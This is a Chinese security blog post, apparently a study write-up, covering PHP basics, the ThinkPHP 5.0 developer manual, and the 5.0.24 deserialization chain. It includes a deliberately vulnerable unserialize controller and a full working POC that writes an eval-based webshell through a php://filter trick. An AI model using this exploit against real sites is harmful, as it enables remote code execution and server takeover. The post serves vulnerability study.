0%

ThinkPHP5.0.24 反序列化漏洞探索

拖了好久的tp框架,是时候开始学习了

ThinkPHP5.0.24 反序列化漏洞探索

前言

由于本篇文章是tp框架学习计划的开头,为了方便后续其他tp漏洞学习,内容包括一些前置知识以及tp开发手册。毕竟安全和开发密不可分,打好基础对整个tp框架学习起到非常大的帮助。


前置知识

命名空间&子命名空间

namespace实际上是命名空间,我们可以把namespace理解为一个单独的空间,事实上它也就是一个空间而已,子命名空间那就是空间里再划分几个小空间,我们通过下面demo来具体了解一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
namespace animal\cat;
class cat{
public function __construct()
{
echo "catcatcat"."\n";
}
}
namespace animal\dogA;
class dog{
public function __construct()
{
echo "A:dogdogdog"."\n";
}
}
namespace animal\dogB;
class dog
{
public function __construct()
{
echo "B:dogdogdog"."\n";
}
}

运用namespace定义了命名空间animal以及三个子空间cat,dogA,dogB,并且编写三个类。我们来看下面几种运用命名空间的方式

  1. 如果我们直接进行实例化new dog();,那么输出结果为B:dogdogdog。这是因为如果不选择命名空间的话,就直接是最后的命名空间namespace animal\dogB

  2. 直接对命名空间对应的类实例化,或者先规定命名空间然后直接实例化

    1
    2
    3
    4
    5
    6
    //直接实例化
    new \animal\dogA\dog();

    //先规定再实例化
    use animal\dogA;
    new dogA\dog();
  3. use在这里和include、require有点像,就是在当前命名空间引入其他命名空间的别名,比如use animal\dogA as alias其中的alias就是animal的别名,然后我们就可以用这个别名来调用

    1
    2
    use animal\dogA as alias;
    new alias\dog();

所以当我们在拉反序列化链子的时候 ,除了namespace当前类的命名空间,还要use下一个类的命名空间 + \类名


类的继承

直接来看下面demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class father{
public $name="Tom";
private $age=20;
public $hobby="game";
public function say(){
echo "i am father \n";
}
public function play(){
echo "i like play basketball \n";
}
}
class child extends father{
public $name="Alice";
private $age=2;
public function say()
{
echo "i am child \n";
}
public function parentsay(){
parent::say();
}
}
$child=new child();
$child->say();
$child->smoke();
$child->parentsay();
echo $child->hobby;

运行结果如下

我们通过这个demo可以发现。在php中类的继承和java中类似,子类可以继承父类,子类也可以覆写父类的方法。当然子类能利用parent::关键字访问父类被覆盖的方法

trait修饰符

使得被修饰的类可以进行复用,增加了代码的可复用性,使用这个修饰符就可以在一个类包含另一个类

demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
trait test{
public function test(){
echo "test\n";
}
}

class rev1ve{
use test;
public function __construct()
{
echo "rev1ve\n";
}
}
$t=new rev1ve();
$t->test();

运行结果

test是一个用trait修饰的类,所以我们只要在rev1ve类中use了test这个类,我们就可以调用其中的方法,类似于类的继承

我们看下面有趣的demo

test.php

1
2
3
4
5
6
7
8
9
<?php
namespace first\test;
use second\test1\test1;
class test{
use test1;
public function __construct(){
echo "test\n";
}
}

test1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace second\test1;
require("test.php");
use first\test\test;
trait test1{
public function __toString(){
echo "tostring\n";
return "";
}
}

$a=new test();
echo $a;

ThinkPHP开发手册

官方文档:https://www.thinkphp.cn/doc

基础

命名规范

函数和类、属性命名

  • 类的命名采用驼峰法(首字母大写),例如 UserUserType,默认不需要添加后缀,例如UserController应该直接命名为User
  • 函数的命名使用小写字母和下划线(小写字母开头)的方式,例如 get_client_ip
  • 方法的命名使用驼峰法(首字母小写),例如 getUserName
  • 属性的命名使用驼峰法(首字母小写),例如 tableNameinstance
  • 以双下划线“__”打头的函数或方法作为魔术方法,例如 __call__autoload

常量和配置

  • 常量以大写字母和下划线命名,例如 APP_PATHTHINK_PATH
  • 配置参数以小写字母和下划线命名,例如 url_route_onurl_convert

目录结构

可以在README.md查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
www  WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录(可以更改)
│ ├─module_name 模块目录
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ │
│ ├─command.php 命令行工具配置文件
│ ├─common.php 公共函数文件
│ ├─config.php 公共配置文件
│ ├─route.php 路由配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─database.php 数据库配置文件

├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写

├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ ├─phpunit.xml phpunit配置文件
│ └─start.php 框架入口文件

├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件

架构

基础概念

ThinkPHP5.0应用基于MVC(模型-视图-控制器)的方式来组织,我们首先要了解一下几个概念

入口文件

用户请求的PHP文件,负责处理一个请求(注意,不一定是URL请求)的生命周期,最常见的入口文件就是index.php,有时候也会为了某些特殊的需求而增加新的入口文件,例如给后台模块单独设置的一个入口文件admin.php或者一个控制器程序入口think都属于入口文件。

应用

应用在ThinkPHP中是一个管理系统架构及生命周期的对象,由系统的 \think\App类完成,应用通常在入口文件中被调用和执行,具有相同的应用目录(APP_PATH)的应用我们认为是同一个应用,但一个应用可能存在多个入口文件。

应用具有自己独立的配置文件、公共(函数)文件。

模块

一个典型的应用是由多个模块组成的,这些模块通常都是应用目录下面的一个子目录,每个模块都有自己独立的配置文件、公共文件和类库文件。

5.0支持单一模块架构设计,如果你的应用下面只有一个模块,那么这个模块的子目录是可以省略,并且在应用配置文件中修改'app_multi_module' => false

控制器

每个模块拥有独立的MVC类库及配置文件,一个模块下面有多个控制器负责响应请求,而每个控制器其实就是一个独立的控制器类。控制器主要负责请求的接收,并调用相关的模型处理,并最终通过视图输出。

5.0的控制器类比较灵活,可以无需继承任何基础类库。一个典型的Index控制器类如下:

1
2
3
4
5
6
7
8
9
namespace app\index\controller;

class Index
{
public function index()
{
return 'hello,thinkphp!';
}
}

操作

一个控制器包含多个操作(方法),操作方法是一个URL访问的最小单元。

下面是一个典型的Index控制器的操作方法定义,包含了两个操作方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
namespace app\index\controller;

class Index
{
public function index()
{
return 'index';
}

public function hello($name)
{
return 'Hello,'.$name;
}
}

操作方法可以不使用任何参数,如果定义了一个非可选参数,则该参数必须通过用户请求传入,如果是URL请求,则通常是$_GET或者$_POST方式传入。

URL访问

URL设计

ThinkPHP5.0在没有启用路由的情况下典型的URL访问规则是:

1
http://thinkphp5/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

采用的是PATH_INFO访问地址,其中PATH_INFO的分隔符是可以设置的。

如果不支持PATH_INFO的服务器可以使用兼容模式访问如下:

1
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

必要的时候,我们可以通过某种方式,省略URL里面的模块和控制器。

URL大小写

默认情况下,URL是不区分大小写的,也就是说 URL里面的模块/控制器/操作名会自动转换为小写,控制器在最后调用的时候会转换为驼峰法处理。例如:

1
2
3
http://localhost/index.php/Index/Blog/read
// 和下面的访问是等效的
http://localhost/index.php/index/blog/read

如果访问下面的地址

1
2
3
http://localhost/index.php/Index/BlogTest/read
// 和下面的访问是等效的
http://localhost/index.php/index/blogtest/read

在这种URL不区分大小写情况下,如果要访问驼峰法的控制器类(即控制器blog的test类),则需要使用:

1
http://localhost/index.php/Index/blog_test/read

注:模块名和操作名会直接转换为小写处理。

模块设计

目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
├─application           应用目录(可设置)
│ ├─common 公共模块目录(可选)
│ ├─common.php 公共函数文件
│ ├─route.php 路由配置文件
│ ├─database.php 数据库配置文件
│ ├─config.php 应用配置文件
│ ├─module1 模块1目录
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录(可选)
│ │ ├─view 视图目录(可选)
│ │ └─ ... 更多类库目录
│ │
│ ├─module2 模块2目录
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录(可选)
│ │ ├─view 视图目录(可选)
│ │ └─ ... 更多类库目录

遵循ThinkPHP5.0的命名规范,模块目录全部采用小写和下划线命名。

其中common模块是一个特殊的模块,默认是禁止直接访问的,一般用于放置一些公共的类库用于其他模块的继承。

模块类库

一个模块下面的类库文件的命名空间统一以app\模块名开头,例如:

1
2
3
4
// index模块的Index控制器类
app\index\controller\Index
// index模块的User模型类
app\index\model\User

其中app可以通过定义的方式更改,例如我们在应用配置文件中修改:

1
'app_namespace' => 'application',

那么,index模块的类库命名空间则变成:

1
2
3
4
// index模块的Index控制器类
application\index\controller\Index
// index模块的User模型类
application\index\model\User

命名空间相关内容可以参考前文的前置知识

单一模块

如果你的应用比较简单,只有唯一一个模块,那么可以进一步简化成使用单一模块结构,方法如下:

首先在应用配置文件中定义:

1
2
// 关闭多模块设计
'app_multi_module' => false,

然后,调整应用目录的结构为如下:

1
2
3
4
5
6
7
8
9
├─application        应用目录(可设置)
│ ├─controller 控制器目录
│ ├─model 模型目录
│ ├─view 视图目录
│ ├─ ... 更多类库目录
│ ├─common.php 函数文件
│ ├─route.php 路由配置文件
│ ├─database.php 数据库配置文件
│ └─config.php 配置文件

URL访问地址变成

1
http://serverName/index.php(或者其它应用入口)/控制器/操作/[参数名/参数值...]

同时,单一模块设计下的应用类库的命名空间也有所调整,例如:

原来的

1
2
app\index\controller\Index
app\index\model\User

变成

1
2
app\controller\Index
app\model\User

配置

配置格式

ThinkPHP框架中默认所有配置文件的定义格式均采用返回PHP数组的方式

格式:

1
2
3
4
5
6
7
8
//项目配置文件
return array(
'DEFAULT_MODULE' => 'Index', //默认模块
'URL_MODEL' => '2', //URL模式
'SESSION_AUTO_START' => true, //是否开启session
//更多配置参数
//...
);

注:二级参数配置区分大小写

配置加载

在ThinkPHP中,一般来说应用的配置文件是自动加载的,加载的顺序是:

1
惯例配置->应用配置->模式配置->调试配置->状态配置->模块配置->扩展配置->动态配置

以上是配置文件的加载顺序,因为后面的配置会覆盖之前的同名配置(在没有生效的前提下),所以配置的优先顺序从右到左。

主要的配置:

  • 惯例配置:ThinkPHP/Conf/convention.php

    按照大多数的使用对常用参数进行了默认配置

  • 应用配置:Application/Common/Conf/config.php

    调用所有模块之前都会首先加载的公共配置文件

  • 模块配置:Application/当前模块名/Conf/config.php

    每个模块会自动加载自己的配置文件

  • 动态配置:在具体的操作方法里面,对某些参数进行动态配置

    C('参数名称','新的参数值')

读取配置

无论何种配置文件,定义了配置文件之后,都会统一使用系统提供的C方法(config)来读取已有的配置,这个方法可以在任何地方读取任何配置

用法:C('参数名称')

例如,读取当前的URL模式配置参数:

1
2
3
$model = C('URL_MODEL');
// 由于配置参数不区分大小写,因此下面的写法是等效的
// $model = C('url_model');

注:配置参数名称中不能含有 “.” 和特殊字符,允许字母、数字和下划线

扩展配置

1
2
// 加载扩展配置文件
'LOAD_EXT_CONFIG' => 'user,db',

假设user.phpdb.php分别用于用户配置和数据库配置

其中公共配置的加载在Application/Common/Conf/user.phpApplication/Common/Conf/db.php

框架引导start.php

thinkphp为单程序入口,这是 mvc 框架的特征,程序的入口在public目录下的index.php

1
2
3
4
// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

require引入 thinkphp 的start.php

1
2
3
4
5
6
7
8
9
<?php
namespace think;

// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();

跟进到base.php,在base.php(thinkphp/base.php)中定义了一些常量,比如ROOT_PATHRUNTIME_PATHLOG_PATH等等,然后引入Loader类来自动加载

1
2
位于thinkphp/base.php:38
require CORE_PATH . 'Loader.php';

然后在下面通过.env文件 putenv 环境变量,接下来都是加载一些配置文件

最后配置完返回 thinkphp/start.php 启动程序

1
2
//执行应用
App::run()->send();

ThinkPHP5.0.x反序列化链

环境搭建

thinkphp5.0.24源码下载链接:http://m.lxywzjs.com/wap/article/index/artid/200.html

这里选择的是phpstudy上搭建,版本为PHP7.34+Xdebug+thinkphp5.0.24

创建好网站后,我们要准备一个二次反序列化入口

修改application\index\controller\Index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$payload=$_POST["payload"];
unserialize(base64_decode($payload));
}
}

然后就是修改compose.json为5.0.24以及php版本

修改好上述内容后把下载好的文件夹内所有内容放到刚刚搭建网站的根目录

启动web服务访问/public,若出现以下界面说明搭建成功

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<?php

//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];

public function __construct($pivot)
{
$this->files[]=$pivot; //传入Pivot类
}
}
}

//__toString Model子类
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;

public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output类
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error
}
}
}

//getModel
namespace think\db{
class Query
{
protected $model;

public function __construct($output)
{
$this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
}
}
}

namespace think\console{
class Output
{
private $handle = null;
protected $styles;
public function __construct($memcache)
{
$this->handle=$memcache;
$this->styles=['getAttr'];
}
}
}

//Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];

public function __construct($query)
{
$this->query=$query; //调用Query类的getModel

$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'admin']; //控制__call的参数$attr
}
}
}

namespace think\session\driver{
class Memcache{
protected $handler = null;

public function __construct($file)
{
$this->handler=$file; //$this->handler等于File类
}
}
}

namespace think\cache\driver{
class File{
protected $options = [
'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir'=>false,
'prefix'=>'',
'data_compress'=>false
];
protected $tag=true;


}
}

namespace {
$file=new think\cache\driver\File();
$memcache=new think\session\driver\Memcache($file);
$output=new think\console\Output($memcache);
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);

echo base64_encode(serialize($windows));
}

执行payload后,会写入两个php文件

访问第二个a.php3b58a9545013e88c7186db11bb158c44.php文件,POST参数为ccc直接命令执行即可

POP链分析

全局搜索__destruct()方法,选择thinkphp\library\think\process\pipes\Windows.php

入口是windows的析构方法

继续跟进removeFile()

存在file_exists()函数检查文件是否存在,而变量filename是字符串(也就是对filename的路径进行查找)

这里会有对象转换成字符串触发__toString()方法,全局搜索一下

参考其他师傅的利用链,选择的是Model.php,跟进一下

可以看到调用toJson()方法,继续跟进

这里进行return的时候调用toArray()方法,继续跟进

前面代码大概就是递归处理模型的关联对象,重点往下看

首先我们要保证$this→append数组不为空

其次在遍历数组时,要进入第三个else语句中,需要满足

1
2
is_array($name)    // 值不为数组
strpos($name, '.') // 值中不含.

进入到else语句后,我们跟进下$relation = Loader::parseName($name, 1, false);parseName()方法

这里的type值为1,然后将下划线分隔的字符串转换为驼峰式命名,并根据 $ucfirst 决定首字母的大小写。

就是简单对传入参数进行转换,对正常字符串没有影响

回到Model.php,进入if语句method_exists()判断类方法是否存在

1
2
3
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

而这里$relation往前推就是$name

我们在第899行下断点,不难发现$name赋值为getError

我们搜索一下getError方法,作用就是返回值

也就是说我们的POC利用的是Model.php存在的类方法getError()

当if判断为真后,对$modelRelation进行了赋值,在这里是通过$this->$relation(),也就是$this->$getError()完成的

所以返回值可控即$modelRelation可控,我们将其设置为了HasOne对象,至于为什么我们在后面进行分析


我们继续往下看,是否$value也可控

跟进一下getRelationData()

注意这里的if语句

1
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent))

如果为真则执行$value = $this->parent;也就是$value$parent决定

那么需要满足if三个条件

  • $this->parent
  • !$modelRelation->isSelfRelation()
  • get_class($modelRelation->getModel()) == get_class($this->parent))

第一个条件

我们一个个看,先在902行下断点,调试发现

POC将$parent指向的是think\console\Output类,之所以选择think\console\Output类是因为这是我们找到其存在合适的__call()方法,存在call_user_func_array函数可以进一步getshell

回到Model.php,那么我们在最后执行的时候,让$value指向该类就可以触发__call()方法

1
$item[$key] = $value ? $value->getAttr($attr) : null;

第二个条件

我们跟进一下isSelfRelation(),注意到是返回$selfRelation

我们如何让!$modelRelation->isSelfRelation()成立呢

我们前面提到了将$modelRelation设置为了HasOne对象,我们跟进一下

HasOne类是OneToOne类的子类,而OneToOne类是抽象类无法生成实例

不过发现OneToOne类又是Relation类的子类

所以$selfRelation可控,那么我们将其设为false即可

也就是POC中HasOne类对$selfRelation赋值,然后isSelfRelation()为false使得第二个条件成立

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];

public function __construct($query)
{
$this->query=$query; //调用Query类的getModel

$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'admin']; //控制__call的参数$attr
}
}
}

第三个条件

这里要求返回的对象的类名相同

1
get_class($modelRelation->getModel()) == get_class($this->parent))

$modelRelation->getModel()就指的是Hasone::getModel(),因为Hasone类是Relation类的子类,当然继承它的getModel()方法

这里按住ctrl点击跟进,到thinkphp\library\think\db\Query.php

所以左侧get_class获得的类名由$model决定,而右边我们前面也分析过$parent指向output类

所以我们只需要让$model的值为output对象即可

当然$query也要指向thinkphp\library\think\db\Query.phpgetModel()


$modelRelation$value分析完后我们继续往下看

if语句判断是否存在getBindAttr()类方法

虽然HasOne类并没有,不过它继承了父类的getBindAttr()

所以if为真,执行$bindAttr = $modelRelation->getBindAttr();

不过要注意$bindAttr定义的时候是protected $bindAttr = [];也就是数组格式

我们在第904行下断点,可以发现赋值$bindAttr=['a'=>'admin'];

赋值后到第二个if语句,很明显if为真,然后遍历$bindAttr赋值给$key => $attr,因为$key=a所以保持不变。继续到第三个if语句,$data不存在a键名所以执行else语句,$value为真执行$value->getAttr($attr)触发__call()方法

为什么可以触发__call()方法我们再理一下思路,$value是由$parent决定并且可控,前面提到我们将$parent指向Output类的,而Output类不存在getAttr()方法,所以就触发Output类的__call()方法达成我们目的

继续跟进到__call()方法

判断$method是否在$styles数组里,如果if为真执行array_unshift($args, $method);

$method拼接到$args数组的头部,我们可以下断点看看

然后return执行call_user_func_array()函数调用block方法,跟进一下

调用writeIn()方法,参数为<getAttr>admin</getAttr>,这是上面2个变量拼贴来的

跟进writeIn()方法

调用write()方法,参数为<getAttr>admin</getAttr>,另外两个分别为true,0

继续跟进write()方法

这里最终还是调用write()方法,我们全局搜索一下。最终在thinkphp\library\think\session\driver路径下找到Memcache.phpMemcached.php存在利用点。不过这俩文件还是有点区别,在建立连接的时候Memcached.php使用setSaslAuthData()对身份进行认证

因此我们选择利用thinkphp\library\think\session\driver\Memcache.php

那么我们前面write()的handle指向Memcache类就行

注:这里handle指向Memcached类也行,前面一通分析其实跟身份验证没啥关系,因为那是打开session的时候做的事,我们调用的write()方法是在写入session的时候做的,所以不管哪个类都能写webshell

跟进到Memcache.php的write()方法

调用set方法,全局搜索一下找到thinkphp\library\think\cache\driver\File.php存在file_put_contents()

可以写入文件,跟进一下发现存在死亡exit(),用base64编码绕过

我们先看$filename是如何赋值的,跟进getCacheKey()方法

这里我们对cache_subdirprefix进行赋值,然后跳过前面两个if语句到最后进行拼接

1
$filename = $this->options['path'] . $name . '.php';

我们在第72行下断点,调试发现$name的值为前面出现过的<getAttr>admin</getAttr>

<getAttr>admin</getAttr>进行MD5加密后,与$this->options['path'].php进行拼接

得到$filename

1
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php

虽然这里文件名可控,但是$data并不可控($value值为true),也就是说即使创建了文件也不是我们的马

回到set()方法继续往下看,跟进setTagItem()方法

我们赋值tag为1,然后$key为tag拼接MD5加密过的字符1,由于$key缓存并不存在所以执行else语句

$name赋值给$value,然后再次调用set()方法

这里再次调用该方法后,传递的$value$name的值是一样的,我们可以看看到底发生了什么变化

对于file_put_contents($filename, $data);中的$filename来说还是不变

$data我们可以在第159行下断点看看,发现经过拼接后变成如下代码

1
2
3
4
<?php
//000000000000
exit();?>
s:158:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php";

我们注意到存在和$filename一样的值,这也是绕过死亡函数的变种

类似于如下形式,具体绕过原理就不再赘述

1
file_put_contents($content,"<?php exit();".$content);

这个写的第二个文件就是我们实现RCE的马,所以其实整个过程是写了两个php文件

写的路径就在根路径下,shell文件名为a.php+md5(tag_c4ca4238a0b923820dcc509a6f75849b)+.php

以上就是整个POP链的调用分析


POP链调用过程图


总结

对于初学者来说,审这么又臭又长的代码确实是件非常具有挑战的事。除了本文讲到的前置知识和开发手册的内容外,还需要对反序列化基本概念非常了解以及绕过死亡函数的变种形式等等。以后有时间也会继续复现tp框架的其他漏洞。


参考文章

https://c1oudfl0w0.github.io/blog/2023/10/24/ThinkPHP%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

https://boogipop.com/2023/03/02/ThinkPHP5.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%85%A8%E5%A4%8D%E7%8E%B0/